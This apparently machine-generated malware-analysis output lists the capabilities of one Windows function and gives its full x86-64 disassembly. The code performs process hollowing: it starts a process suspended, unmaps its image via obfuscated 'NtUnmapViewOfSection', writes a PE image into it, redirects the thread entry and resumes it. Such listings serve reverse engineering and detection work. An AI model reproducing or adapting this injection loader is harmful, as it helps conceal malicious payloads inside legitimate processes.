Function at 0x1400059f0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x78]
sub rsp, 0x150
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov r15, r8
mov rsi, rdx
mov r13, rcx
xor bl, bl
xor r12d, r12d
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r12
call fcn.140004180
xor dil, dil
movzx r14d, byte [rbp + 0xb8]
test r14b, r14b
je 0x140005b0d
movdqa xmm0, xmmword [0x1400860a0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r12b
movzx r9d, byte [rbp + 0xb0]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x40]
mov ecx, eax
call fcn.14007dcb0
test al, al
je 0x140005ac9
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140005ac9
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
mov eax, 1
mov dword [rsp + 0x20], eax
lea r9d, [r12 + 2]
xor r8d, r8d
mov edx, 0x2000000
call fcn.140073ad0
test eax, eax
je 0x140005ac9
xor r8d, r8d
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.140072f00
movzx edi, dil
test eax, eax
mov eax, 1
cmovne edi, eax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140005b04
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005aff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000610e
call fcn.140043fb4
test dil, dil
je 0x1400060e5
lea rdx, [0x140086da0]
lea rcx, [rbp - 0x70]
call fcn.140071760
cmp qword [rax + 0x18], 0x10
jb 0x140005b27
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140005b6e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006114
call fcn.140043fb4
movdqa xmm0, xmmword [0x1400860a0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
test rdi, rdi
je 0x1400060e5
lea rdx, [0x1400879a0]
lea rcx, [rsp + 0x70]
call fcn.140071760
cmp qword [rax + 0x18], 0x10
jb 0x140005ba3
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400aff30], rax
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005bf2
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000611a
call fcn.140043fb4
lea rdx, [0x1400879c8]
lea rcx, [rsp + 0x70]
call fcn.140071760
cmp qword [rax + 0x18], 0x10
jb 0x140005c0d
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400aff38], rax
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005c5c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006120
call fcn.140043fb4
lea rdx, [0x1400879f0]
lea rcx, [rsp + 0x70]
call fcn.140071760
cmp qword [rax + 0x18], 0x10
jb 0x140005c77
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400aff40], rax
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005cc6
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006126
call fcn.140043fb4
mov eax, 0x5a4d
cmp word [r13], ax
jne 0x140005fc6
movsxd rax, dword [r13 + 0x3c]
lea rbx, [rax + r13]
cmp dword [rbx], 0x4550
jne 0x140005fc4
lea rdx, [rbp + 0xb8]
mov rcx, rsi
call fcn.140013b40
movzx eax, word [rbx + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x140005d10
cmp dword [rbp + 0xb8], 0
jmp 0x140005d21
mov ecx, 0x8664
cmp ax, cx
jne 0x140005d27
cmp dword [rbp + 0xb8], 6
jne 0x1400060e5
lea rdi, [rbp - 0x70]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x20]
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp - 0x20], 0x68
mov dword [rbp + 0x1c], 0x101
mov word [rbp + 0x20], r12w
lea rax, [rbp - 0x70]
xor r9d, r9d
test r14b, r14b
je 0x140005d9d
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r12
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r8, r15
mov rdx, rsi
mov rcx, qword [rbp - 0x48]
call fcn.140073bf0
jmp 0x140005dd0
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call fcn.140014890
test eax, eax
je 0x140005fc4
mov edi, 4
mov r9d, edi
lea edx, [rdi + 8]
xor ecx, ecx
mov r8d, 0x1000
call fcn.1400143b0
mov r15, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x68]
call fcn.140014680
mov rcx, qword [rbp - 0x70]
test eax, eax
je 0x140005fbd
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 4]
lea r8, [rbp - 0x38]
call qword [0x1400aff30]
lea r12, [rbx + 0x30]
mov rdx, qword [r12]
mov eax, dword [rbp - 0x38]
cmp rax, rdx
jne 0x140005ec4
mov dword [rsp + 0x63], 0x642e6c6c
mov word [rsp + 0x68], WSASetLastError
mov byte [rsp + 0x67], WSASetLastError
mov word [rsp + 0x60], 0x746e
mov byte [rsp + 0x62], 0x64
mov dword [rsp + 0x71], 0x6d6e5574
mov word [rbp - 0x80], 0x6974
mov word [rbp - 0x7d], WSASetLastError
mov dword [rsp + 0x7a], 0x53664f77
mov dword [rsp + 0x76], 0x65695670
mov word [rsp + 0x7e], 0x6365
mov byte [rsp + 0x70], 0x4e
mov byte [rbp - 0x7e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x75], 0x61
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x70]
call rax
mov rdx, qword [rbx + 0x30]
mov eax, 0x40
cmp byte [rbp + 0xa8], 0
cmovne edi, eax
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], edi
mov r9d, 0x3000
mov rcx, qword [rbp - 0x70]
call fcn.1400144a0
mov r14, rax
mov rcx, qword [rbp - 0x70]
test rax, rax
je 0x140005faf
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], 0
mov r8, r13
mov rdx, rax
call fcn.140013f30
movzx edi, word [rbx + 0x14]
add rdi, 0x2c
xor eax, eax
mov esi, eax
cmp ax, word [rbx + 6]
jae 0x140005f62
add rdi, rbx
xor r12d, r12d
nop word [rax + rax]
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r13
mov edx, dword [rdi - 8]
add rdx, r14
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp - 0x70]
call fcn.140013f30
lea rdi, [rdi + 0x28]
inc esi
movzx eax, word [rbx + 6]
cmp esi, eax
jl 0x140005f30
lea r12, [rbx + 0x30]
xor eax, eax
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp - 0x70]
call fcn.140013f30
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [r15 + 0x80], rax
mov rdx, r15
mov rcx, qword [rbp - 0x68]
call qword [0x1400aff38]
mov rcx, qword [rbp - 0x68]
call qword [0x1400aff40]
mov bl, 1
xor r12d, r12d
jmp 0x140005fc6
xor edx, edx
call fcn.14000a370
xor bl, bl
xor r12d, r12d
jmp 0x140005fc6
xor edx, edx
call fcn.14000a370
xor bl, bl
cmp qword [rbp - 0x50], 0
je 0x1400060c0
lea rdx, [0x140087a10]
lea rcx, [rbp - 0x70]
call fcn.140071760
nop
cmp qword [rax + 0x18], 0x10
jb 0x140005fec
mov rax, qword [rax]
mov rcx, rax
call fcn.140074460
mov rdi, rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140006032
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000602d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000612c
call fcn.140043fb4
movdqa xmm0, xmmword [0x1400860a0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
test rdi, rdi
je 0x1400060c0
lea rdx, [0x140087a30]
lea rcx, [rsp + 0x70]
call fcn.140071760
cmp qword [rax + 0x18], 0x10
jb 0x140006063
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400aff98], rax
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400060b5
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006108
call fcn.140043fb4
mov rax, qword [0x1400aff98]
test rax, rax
je 0x1400060c0
mov rcx, qword [rbp - 0x50]
call rax
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400060d2
call fcn.140081e60
mov qword [rbp - 0x48], r12
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400060e0
call fcn.140081e60
movzx eax, bl
jmp 0x1400060e7
xor al, al
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140048704
int3
call fcn.140048704
int3
call fcn.140048704
int3
call fcn.140048704
int3
call fcn.140048704
int3
call fcn.140048704
int3
call fcn.140048704
int3